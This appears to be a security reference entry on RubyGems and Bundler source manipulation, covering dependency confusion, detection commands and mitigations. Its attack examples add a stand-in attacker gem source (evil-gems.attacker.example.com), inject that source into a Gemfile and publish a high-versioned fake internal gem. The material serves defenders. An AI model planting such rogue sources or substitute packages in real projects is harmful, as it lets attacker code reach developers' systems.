RubyGems Source Manipulation

gem Source Manipulation high Linux macOS Windows
RubyGems resolves packages from configurable source repositories. An attacker can add malicious gem sources via `gem sources --add`, modify the Gemfile to include rogue source blocks, or exploit multi-source resolution behavior in Bundler. When multiple sources are configured, Bundler may resolve a gem from an attacker-controlled source instead of the intended one, enabling dependency confusion and package substitution attacks.

Prerequisites

  • Write access to the victim's Gemfile, .gemrc, or ability to influence gem source configuration
  • A malicious gem server hosting a trojanized version of a target gem
  • For dependency confusion: knowledge of internal gem names used by the target organization

Attack Scenarios

Adding a Malicious Gem Source

An attacker with access to a developer's environment adds a rogue gem source that hosts trojanized versions of popular gems. When the developer runs gem install or bundle install, the package manager may resolve gems from the malicious source, especially if the attacker publishes higher version numbers.

Add a malicious gem source globally
gem sources --add https://evil-gems.attacker.example.com/
gem sources --list
# Output:
# *** CURRENT SOURCES ***
# https://rubygems.org/
# https://evil-gems.attacker.example.com/
Install a gem that resolves from the malicious source
# If the malicious source has 'nokogiri' version 99.0.0,
# it may be selected over rubygems.org's version
gem install nokogiri

Gemfile Multi-Source Dependency Confusion

An attacker modifies a project's Gemfile to add a secondary source. Bundler's source resolution can be exploited when gems are not pinned to specific sources, allowing a malicious source to serve trojanized packages.

Gemfile with multiple sources (vulnerable pattern)
# Gemfile
source "https://rubygems.org"
source "https://evil-gems.attacker.example.com"

# These gems could resolve from EITHER source
gem "rails"
gem "internal-auth-lib"  # Internal gem name targeted for confusion
Gemfile with source blocks (safer but still exploitable)
# Gemfile - source block pattern
source "https://rubygems.org"

# Attacker-injected source block
source "https://evil-gems.attacker.example.com" do
  gem "internal-auth-lib"
end
Attacker publishes a higher version of an internal gem
# On the attacker's gem server, publish:
Gem::Specification.new do |s|
  s.name    = "internal-auth-lib"
  s.version = "99.0.0"
  s.summary = "Authentication library"
  s.authors = ["attacker"]
  s.files   = ["lib/internal-auth-lib.rb"]
  # lib/internal-auth-lib.rb contains malicious code
end

Detection

Audit configured gem sources

List all globally configured gem sources to check for unexpected or untrusted repositories.

gem sources --list

Audit Gemfile for multiple sources

Review the project's Gemfile for multiple source declarations and ensure gems are pinned to specific sources using source blocks.

grep -n 'source ' Gemfile

Check resolved sources in Gemfile.lock

Inspect Gemfile.lock to verify which source each gem was resolved from.

grep -B1 'remote:' Gemfile.lock

Mitigation

  • Use only trusted gem sources and remove any unknown sources with gem sources --remove
  • Pin gems to specific sources using Bundler source blocks in the Gemfile
  • Use Bundler 2.x+ which warns about ambiguous source resolution
  • For internal gems, use a private gem server and restrict resolution with source blocks
  • Regularly audit Gemfile.lock to verify gems were resolved from expected sources
  • Claim your internal gem names on rubygems.org as placeholders to prevent dependency confusion

References